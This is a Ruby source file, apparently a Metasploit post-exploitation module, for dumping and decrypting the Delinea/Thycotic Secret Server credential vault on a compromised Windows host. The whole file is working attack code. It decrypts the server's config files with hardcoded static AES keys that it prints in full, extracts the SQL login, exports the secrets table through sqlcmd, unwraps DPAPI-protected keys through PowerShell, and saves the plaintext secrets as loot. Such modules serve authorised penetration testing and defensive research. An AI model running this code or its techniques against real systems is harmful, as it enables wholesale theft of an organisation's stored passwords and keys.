modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::MSSQL
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Registry
Rank = ManualRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Delinea Thycotic Secret Server Dump',
'Description' => %q{
This module exports and decrypts Secret Server credentials to a CSV file;
it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic
Secret Server installed. Master Encryption Key (MEK) and associated IV values are
decrypted from encryption.config using a static key baked into the software. The
module also supports parameter recovery for encryption configs configured with
Windows DPAPI.
},
'Author' => 'npm[at]cesium137.io',
'Platform' => [ 'win' ],
'DisclosureDate' => '2022-08-15',
'SessionTypes' => [ 'meterpreter' ],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://github.com/denandz/SecretServerSecretStealer']
],
'Actions' => [
[
'Dump',
{
'Description' => 'Export Secret Server database and perform decryption'
}
],
[
'Export',
{
'Description' => 'Export Secret Server database without decryption'
}
]
],
'DefaultAction' => 'Dump',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Privileged' => true
)
)
end
def export_header_row_legacy
'SecretID,Active,SecretType,SecretName,IsEncrypted,IsSalted,Use256Key,SecretFieldName,ItemValue,ItemValue2,IV'
end
def export_header_row_modern
'SecretID,Active,SecretType,SecretName,IsEncrypted,IsSalted,Use256Key,SecretFieldName,ItemKey,IvMEK,ItemValue,ItemValue2,IV'
end
def result_header_row
'SecretID,Active,SecretType,SecretName,FieldName,Plaintext,Plaintext2'
end
def run
fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
current_action = action.name.downcase
if current_action == 'export' || current_action == 'dump'
print_status('Performing export of Secret Server SQL database to CSV file')
fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
end
if current_action == 'dump'
print_status('Performing decryption of Secret Server SQL database')
fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))
print_good("Decrypted Secret Server Database Dump: #{decrypted_csv_file}")
end
end
def export
unless (csv = dump_thycotic_db)
print_error('No records exported from SQL server')
return false
end
total_rows = csv.count
print_good("#{total_rows} rows exported, #{@ss_total_secrets} unique SecretIDs")
encrypted_data = csv.to_s.delete("\000")
store_loot('thycotic_secretserver_enc', 'text/csv', rhost, encrypted_data, "#{@ss_db_name}.csv", 'Encrypted Database Dump')
end
def decrypt(csv_file)
unless (csv = read_csv_file(csv_file))
print_error('No records imported from CSV dataset')
return false
end
total_rows = csv.count
print_good("#{total_rows} rows loaded, #{@ss_total_secrets} unique SecretIDs")
result = decrypt_thycotic_db(csv)
ss_processed_rows = result[:processed_rows]
ss_blank_rows = result[:blank_rows]
ss_decrypted_rows = result[:decrypted_rows]
ss_plaintext_rows = result[:plaintext_rows]
ss_failed_rows = result[:failed_rows]
result_rows = result[:result_csv]
unless result_rows
print_error('Failed to decrypt CSV dataset')
return false
end
total_result_rows = result_rows.count - 1 # Do not count header row
total_result_secrets = result_rows['SecretID'].uniq.count - 1
if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
print_error('No rows could be processed')
return false
elsif ss_failed_rows > 0
print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
else
print_good("#{ss_processed_rows} rows processed")
end
total_records = ss_decrypted_rows + ss_plaintext_rows
print_status("#{total_records} rows recovered: #{ss_plaintext_rows} plaintext, #{ss_decrypted_rows} decrypted (#{ss_blank_rows} blank)")
decrypted_data = result_rows.to_s.delete("\000")
print_status("#{total_result_rows} rows written (#{ss_blank_rows} blank rows withheld)")
print_good("#{total_result_secrets} unique SecretID records recovered")
store_loot('thycotic_secretserver_dec', 'text/csv', rhost, decrypted_data, "#{@ss_db_name}.csv", 'Decrypted Database Dump')
end
def dump_thycotic_db
if @ss_build <= 8.7 # REALLY old-style: ItemKey and MekIV do not exist
sql_query = 'SET NOCOUNT ON;SELECT s.SecretID,s.Active,CONVERT(VARBINARY(256),t.SecretTypeName) SecretType,
CONVERT(VARBINARY(256),s.SecretName) SecretName,i.IsEncrypted,i.IsSalted,i.Use256Key,
CONVERT(VARBINARY(256),f.SecretFieldName) SecretFieldName,i.ItemValue,i.ItemValue2,i.IV
FROM tbSecretItem AS i JOIN tbSecret AS s ON (s.SecretID=i.SecretID)
JOIN tbSecretField AS f ON (i.SecretFieldID=f.SecretFieldID) JOIN tbSecretType AS t ON (s.SecretTypeId=t.SecretTypeID)'
export_header_row = export_header_row_legacy
else # All other versions seem to support this schema
sql_query = 'SET NOCOUNT ON;SELECT s.SecretID,s.Active,CONVERT(VARBINARY(256),t.SecretTypeName) SecretType,
CONVERT(VARBINARY(256),s.SecretName) SecretName,i.IsEncrypted,i.IsSalted,i.Use256Key,
CONVERT(VARBINARY(256),f.SecretFieldName) SecretFieldName,s.[Key],s.IvMEK,i.ItemValue,i.ItemValue2,i.IV
FROM tbSecretItem AS i JOIN tbSecret AS s ON (s.SecretID=i.SecretID)
JOIN tbSecretField AS f ON (i.SecretFieldID=f.SecretFieldID) JOIN tbSecretType AS t ON (s.SecretTypeId=t.SecretTypeID)'
export_header_row = export_header_row_modern
end
sql_cmd = sql_prepare(sql_query)
print_status('Export Secret Server DB ...')
query_result = cmd_exec(sql_cmd)
csv = CSV.parse(query_result.gsub("\r", ''), row_sep: :auto, headers: export_header_row, quote_char: "\x00", skip_blanks: true)
unless csv
print_error('Error parsing SQL dataset into CSV format')
return false
end
@ss_total_secrets = csv['SecretID'].uniq.count
unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
print_error('SQL dataset contains no SecretID column values')
return false
end
csv
end
def decrypt_thycotic_db(csv_dataset)
current_row = 0
decrypted_rows = 0
plaintext_rows = 0
blank_rows = 0
failed_rows = 0
result_csv = CSV.parse(result_header_row, headers: :first_row, write_headers: true, return_headers: true)
print_status('Process Secret Server DB ...')
csv_dataset.each do |row|
current_row += 1
secret_id = row['SecretID']
if secret_id.nil?
failed_rows += 1
print_error("Row #{current_row} missing SecretID column, skipping")
next
end
secret_field = [row['SecretFieldName'][2..]].pack('H*')
secret_ciphertext_1 = row['ItemValue']
if secret_ciphertext_1.nil?
vprint_warning("SecretID #{secret_id} field '#{secret_field}' ItemValue column nil, excluding")
blank_rows += 1
next
end
secret_ciphertext_2 = row['ItemValue2']
secret_active = row['Active'].to_i
secret_name = [row['SecretName'][2..]].pack('H*')
secret_type = [row['SecretType'][2..]].pack('H*')
secret_encrypted = row['IsEncrypted'].to_i
secret_use256 = row['Use256Key'].to_i
secret_iv_hex = row['IV'][2..]
if @ss_build >= 10.4 || secret_iv_hex == 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF' # New-style: ItemKey and ItemIV are part of the key blob
secret_keyfield_hex = row['ItemKey'][2..]
miv_hex = secret_keyfield_hex[4..35]
key_hex = secret_keyfield_hex[100..]
iv_hex = secret_ciphertext_1[4..35]
value_1_hex = secret_ciphertext_1[100..]
elsif @ss_build <= 8.7 # REALLY old-style: ItemKey and MekIV do not exist
key_hex = ['FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'].pack('H*')
miv_hex = ['FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'].pack('H*')
iv_hex = secret_iv_hex
value_1_hex = secret_ciphertext_1
else # Old-style: ItemKey and ItemIV are stored as columns
key_hex = row['ItemKey'][2..]
miv_hex = row['IvMEK'][2..]
iv_hex = secret_iv_hex
value_1_hex = secret_ciphertext_1
end
value_1 = [value_1_hex].pack('H*')
key = [key_hex].pack('H*')
iv = [iv_hex].pack('H*')
miv = [miv_hex].pack('H*')
if secret_encrypted == 1
secret_plaintext_1 = thycotic_secret_decrypt(secret_id: secret_id, secret_field: secret_field, secret_value: value_1, secret_key: key, secret_iv: iv, secret_miv: miv, secret_use256: secret_use256)
if secret_plaintext_1.nil?
vprint_warning("SecretID #{secret_id} field '#{secret_field}' decrypted ItemValue nil, excluding")
blank_rows += 1
next
end
# TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
# For now just return ciphertext if it exists.
secret_plaintext_2 = secret_ciphertext_2
if !secret_plaintext_1 || !secret_plaintext_2
print_error("SecretID #{secret_id} field '#{secret_field}' failed to decrypt")
vprint_error(row.to_s)
failed_rows += 1
next
end
secret_disposition = 'decrypted'
decrypted_rows += 1
else
secret_plaintext_1 = secret_ciphertext_1
secret_plaintext_2 = secret_ciphertext_2
secret_disposition = 'plaintext'
plaintext_rows += 1
end
if !secret_plaintext_1.empty? && !secret_plaintext_2.empty?
result_line = [secret_id.to_s, secret_active.to_s, secret_type.to_s, secret_name.to_s, secret_field.to_s, secret_plaintext_1.to_s, secret_plaintext_2.to_s]
result_row = CSV.parse_line(CSV.generate_line(result_line).gsub("\r", ''))
result_csv << result_row
vprint_status("SecretID #{secret_id} field '#{secret_field}' ItemValue recovered: #{secret_disposition}")
else
vprint_warning("SecretID #{secret_id} field '#{secret_field}' recovered ItemValue empty, excluding")
blank_rows += 1
end
end
{
processed_rows: current_row,
blank_rows: blank_rows,
decrypted_rows: decrypted_rows,
plaintext_rows: plaintext_rows,
failed_rows: failed_rows,
result_csv: result_csv
}
end
def init_module
@ss_hostname = get_env('COMPUTERNAME')
print_status("Hostname #{@ss_hostname} IPv4 #{rhost}")
get_sql_client
unless @sql_client == 'sqlcmd'
print_error('Unable to identify sqlcmd SQL client on target host')
return false
end
vprint_good("Found SQL client: #{@sql_client}")
unless (ss_web_path = get_secretserver_web_path)
print_error('Could not determine Secret Server IIS web root filesystem path')
return false
end
unless init_thycotic_db(ss_web_path)
print_error('Could not initialize Secret Server database')
return false
end
get_secretserver_version
unless @ss_build
print_error('Could not determine Secret Server build')
return false
end
unless init_thycotic_encryption(ss_web_path)
print_error('Could not initialize Secret Server encryption parameters')
return false
end
true
end
def read_csv_file(file_name)
unless File.exist?(file_name)
print_error("CSV file #{file_name} not found")
return false
end
csv_rows = File.binread(file_name)
csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
unless csv
print_error("Error importing CSV file #{csv_file}")
return false
end
@ss_total_secrets = csv['SecretID'].uniq.count
unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
print_error("Provided CSV file #{csv_file} contains no SecretID column values")
return false
end
csv
end
def get_secretserver_web_path
reg_key = 'HKLM\\SOFTWARE\\Thycotic\\Secret Server\\'
unless registry_key_exist?(reg_key)
print_error("Registry key #{reg_key} not found")
return false
end
ss_web_path = registry_getvaldata(reg_key, 'WebDir')
unless ss_web_path
print_error("Could not find WebDir registry entry under #{reg_key}")
return false
end
vprint_status('Secret Server Web Root:')
vprint_status("\t#{ss_web_path}")
ss_web_path
end
def get_secretserver_version
sql_query = "SET NOCOUNT ON; SELECT TOP 1
CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 1))) AS [Major],
CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 2))) AS [Minor],
CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 3))) AS [Rev]
FROM tbVersion ORDER BY [Major] DESC, [Minor] DESC, [Rev] DESC"
sql_cmd = sql_prepare(sql_query)
version_query_result = cmd_exec(sql_cmd).gsub("\r", '')
csv = CSV.parse(version_query_result.gsub("\r", ''), row_sep: :auto, headers: 'Major,Minor,Rev', quote_char: "\x00", skip_blanks: true)
unless csv
print_error('Error parsing SQL dataset into CSV format')
return false
end
ss_build_major = csv['Major'].first.to_i
ss_build_minor = csv['Minor'].first.to_i
ss_build_rev = csv['Rev'].first.to_i
@ss_build = "#{ss_build_major}.#{ss_build_minor}#{ss_build_rev}".to_f
unless @ss_build > 0
print_error('Error determining Secret Server version from SQL query')
return false
end
print_status("Secret Server Build #{@ss_build}")
print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
true
end
def sql_prepare(sql_query)
if @ss_db_integrated_auth
sql_cmd = "#{@sql_client} -d \"#{@ss_db_name}\" -S #{@ss_db_instance_path} -E -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I"
else
sql_cmd = "#{@sql_client} -d \"#{@ss_db_name}\" -S #{@ss_db_instance_path} -U \"#{@ss_db_user}\" -P \"#{@ss_db_pass}\" -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I"
end
sql_cmd
end
def read_config_file(ss_config_file)
unless file_exist?(ss_config_file)
print_error("Configuration file '#{ss_config_file}' not found")
return false
end
read_file(ss_config_file)
end
def init_thycotic_encryption(ss_web_path)
print_status('Decrypt encryption.config ...')
ss_enc_config_file = ss_web_path + 'encryption.config'
vprint_status('Encryption configuration file path:')
vprint_status("\t#{ss_enc_config_file}")
ss_enc_conf_bytes = read_config_file(ss_enc_config_file)
if @ss_build >= 10.4
vprint_status('Using Modern (AES-256 + XOR) file decryption routine')
enc_conf = thycotic_encryption_config_decrypt_modern(ss_enc_conf_bytes)
else
vprint_status('Using Legacy (AES-128) file decryption routine')
enc_conf = thycotic_encryption_config_decrypt_legacy(ss_enc_conf_bytes)
end
unless enc_conf
print_error('Failed to decrypt encryption.config')
return false
end
ss_key_hex = enc_conf['KEY']
ss_key256_hex = enc_conf['KEY256']
ss_iv_hex = enc_conf['IV']
if enc_conf['ISENCRYPTEDWITHDPAPI'].to_s.upcase == 'TRUE'
print_status('DPAPI encryption has been configured for the Master Encryption Key, attempting LocalMachine decryption ...')
ss_key_hex = dpapi_decrypt(ss_key_hex)
ss_key256_hex = dpapi_decrypt(ss_key256_hex)
end
if ss_key_hex.nil? || ss_key256_hex.nil? || ss_iv_hex.nil?
print_error("Failed to recover Master Encryption Key values from #{ss_enc_config_file}")
return false
end
@ss_iv = [ss_iv_hex].pack('H*')
@ss_key = [ss_key_hex].pack('H*')
@ss_key256 = [ss_key256_hex].pack('H*')
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 443,
service_name: 'aes',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: @ss_hostname
}
store_valid_credential(user: 'KEY', private: ss_key_hex, service_data: extra_service_data)
store_valid_credential(user: 'KEY256', private: ss_key256_hex, service_data: extra_service_data)
store_valid_credential(user: 'IV', private: ss_iv_hex, service_data: extra_service_data)
print_good('Secret Server Encryption Configuration:')
print_good("\t KEY: #{ss_key_hex}")
print_good("\tKEY256: #{ss_key256_hex}")
print_good("\t IV: #{ss_iv_hex}")
true
end
def thycotic_encryption_config_decrypt_modern(enc_conf_bytes)
res = {}
# Burned-in static keys and IV
aes_key = ['83fb558645767abb199755eafb4fbc5167113da8ee69f13267388dc3adcdb088'].pack('H*')
aes_iv = ['ad478c63f93d5201e0a1bbfff0072b6b'].pack('H*')
xor_key = '8200ab18b1a1965f1759c891e87bc32f208843331d83195c21ee03148b531a0e'.scan(/../).map(&:hex)
ciphertext_bytes = enc_conf_bytes[41..]
return false unless (plaintext_conf = aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv))
xor_1 = plaintext_conf[1..4].unpack('l*').first
xor_2 = plaintext_conf[5..8].unpack('l*').first
num_keys = xor_1 ^ xor_2
working_offset = 9
i = 1
until i > num_keys
k = nil
v = nil
for is_key in [true, false] do
idx_xor = plaintext_conf[working_offset..working_offset + 3].unpack('l*').first
idx_len = plaintext_conf[working_offset + 4..working_offset + 7].unpack('l*').first
len = idx_len ^ idx_xor
key_xor = plaintext_conf[working_offset + 8..working_offset + 7 + len].unpack('C*')
plaintext = xor_decrypt(key_xor, xor_key).pack('C*')
working_offset += len + 8
if is_key
k = plaintext.delete("\000")
else
v = plaintext.delete("\000")
end
end
if !k
next
else
res[k.upcase] = v
end
i += 1
end
res
rescue StandardError => e
vprint_error("Exception in #{__method__}: #{e.message}")
return false
end
def thycotic_encryption_config_decrypt_legacy(enc_conf_bytes)
res = {}
# Burned-in static keys and IV
aes_key_legacy = ['020216980119760c0b79017097830b1d'].pack('H*')
aes_iv_legacy = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
return false unless (plaintext_conf = aes_cbc_decrypt(enc_conf_bytes, aes_key_legacy, aes_iv_legacy).delete("\000"))
plaintext_conf_hex = plaintext_conf.unpack('H*').first
unless plaintext_conf_hex.match?(/4b65790556616c7565/i) # magic bytes
print_error('Could not locate encryption.config key/value header in binary stream')
return false
end
working_offset = (plaintext_conf_hex.index(/4b65790556616c7565/i) / 2) + 14
loop do
k = nil
v = nil
for is_key in [true, false] do
data_len = plaintext_conf[working_offset..working_offset + 1].unpack('C*').first
data_val = plaintext_conf[working_offset + 1, data_len]
if is_key
k = data_val
working_offset += data_len + 3
else
v = data_val
working_offset += data_len + 6
end
end
if !k
next
else
res[k.upcase] = v
end
break if working_offset >= plaintext_conf.length
end
res
rescue StandardError => e
vprint_error("Exception in #{__method__}: #{e.message}")
return false
end
def init_thycotic_db(ss_web_path)
print_status('Decrypt database.config ...')
ss_db_config_file = ss_web_path + 'database.config'
vprint_status('Database configuration file path:')
vprint_status("\t#{ss_db_config_file}")
unless (db_conf = get_thycotic_database_config(read_config_file(ss_db_config_file)))
print_error("Error reading database configuration file #{ss_db_config_file}")
return false
end
db_instance_path = db_conf['DATA SOURCE']
db_name = db_conf['INITIAL CATALOG']
db_user = db_conf['USER ID']
db_pass = db_conf['PASSWORD']
db_auth = db_conf['INTEGRATED SECURITY']
if db_instance_path.nil? || db_name.nil?
print_error("Failed to recover database parameters from #{ss_db_config_file}")
return false
end
@ss_db_instance_path = db_instance_path
@ss_db_name = db_name
@ss_db_integrated_auth = false
print_good('Secret Server SQL Database Connection Configuration:')
print_good("\tInstance Name: #{@ss_db_instance_path}")
print_good("\tDatabase Name: #{@ss_db_name}")
if !db_auth.nil?
if db_auth.downcase == 'true'
@ss_db_integrated_auth = true
print_good("\tDatabase User: (Windows Integrated)")
print_warning('The database uses Windows authentication')
print_warning('Session identity must have access to the SQL server instance to proceed')
end
elsif !db_user.nil? && !db_pass.nil?
@ss_db_user = db_user
@ss_db_pass = db_pass
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 1433,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: @ss_db_instance_path
}
store_valid_credential(user: @ss_db_user, private: @ss_db_pass, service_data: extra_service_data)
print_good("\tDatabase User: #{@ss_db_user}")
print_good("\tDatabase Pass: #{@ss_db_pass}")
else
print_error("Could not extract SQL login information from #{ss_db_config_file}")
return false
end
end
def get_thycotic_database_config(db_conf_bytes)
res = {}
# Burned-in static keys and IV
aes_key = ['020216980119760c0b79017097830b1d'].pack('H*')
aes_iv = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
print_error('Error decrypting database.config')
return false
end
unless (db_str = get_thycotic_database_string(plaintext_conf))
print_error('Could not extract connectionString from database.config')
return false
end
db_connection_elements = db_str.split(';')
db_connection_elements.each do |element|
pair = element.to_s.split('=')
k = pair[0]
v = pair[1]
res[k.upcase] = v
end
res
rescue StandardError => e
vprint_error("Exception in #{__method__}: #{e.message}")
return false
end
def get_thycotic_database_string(plaintext_conf)
return false unless plaintext_conf.match?(/connectionString/i)
working_offset = plaintext_conf.index(/connectionString/i) + 18
byte_len = plaintext_conf.length - working_offset
working_bytes = plaintext_conf[working_offset, byte_len]
val_len = working_bytes[0].unpack('H*').first.to_i(16).to_i
working_bytes[2, val_len]
end
def thycotic_secret_decrypt(options = {})
secret_id = options.fetch(:secret_id)
secret_field = options.fetch(:secret_field)
secret_value = options.fetch(:secret_value)
secret_key = options.fetch(:secret_key)
secret_iv = options.fetch(:secret_iv)
secret_miv = options.fetch(:secret_miv)
secret_use256 = options.fetch(:secret_use256)
if secret_use256 == 1
mek = @ss_key256
else
mek = @ss_key
end
intermediate_key = false
if @ss_build > 8.7
intermediate_key = aes_cbc_decrypt(secret_key, mek, secret_miv)
intermediate_key ||= secret_key
else
intermediate_key = mek
end
decrypted_secret = aes_cbc_decrypt(secret_value, intermediate_key, secret_iv)
unless decrypted_secret
vprint_warning("SecretID #{secret_id} field '#{secret_field}' decryption failed, attempting pure MEK decryption as last resort")
decrypted_secret = aes_cbc_decrypt(secret_value, mek, @ss_iv)
end
return false unless decrypted_secret
if @ss_build >= 10.4
plaintext = decrypted_secret.delete("\000")[4..]
else
plaintext = decrypted_secret.delete("\000")
end
if !plaintext.to_s.empty?
# Catch where decryption did not throw an exception but produced invalid UTF-8 plaintext
# This was evident in a few test cases where the secret value appeared to have been pasted from Microsoft Word
if !plaintext.force_encoding('UTF-8').valid_encoding?
plaintext = Base64.strict_encode64(plaintext)
print_warning("SecretID #{secret_id} field '#{secret_field}' contains invalid UTF-8 and will be stored as a Base64 string in the output file")
end
return plaintext
else
return nil
end
end
def xor_decrypt(ciphertext_bytes, xor_key)
pos = 0
res = []
for i in 0..ciphertext_bytes.length - 1 do
res[i] = ciphertext_bytes[i] ^ xor_key[pos]
pos += 1
if pos == xor_key.length
pos = 0
end
end
res
end
def aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv)
return false unless aes_iv.length == 16
case aes_key.length
when 16
decipher = OpenSSL::Cipher.new('aes-128-cbc')
when 32
decipher = OpenSSL::Cipher.new('aes-256-cbc')
else
return false
end
decipher.decrypt
decipher.key = aes_key
decipher.iv = aes_iv
decipher.padding = 1
decipher.update(ciphertext_bytes) + decipher.final
rescue OpenSSL::Cipher::CipherError
return false
end
def dpapi_decrypt(b64)
unless b64.match?(%r{^[-A-Za-z0-9+/]*={0,3}$})
print_error('DPAPI decrypt: invalid Base64 ciphertext')
return nil
end
cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
plaintext = psh_exec(cmd_str)
unless plaintext.match?(/^[0-9a-f]+$/i)
print_error('Failed DPAPI LocalMachine decryption')
return nil
end
plaintext
end
end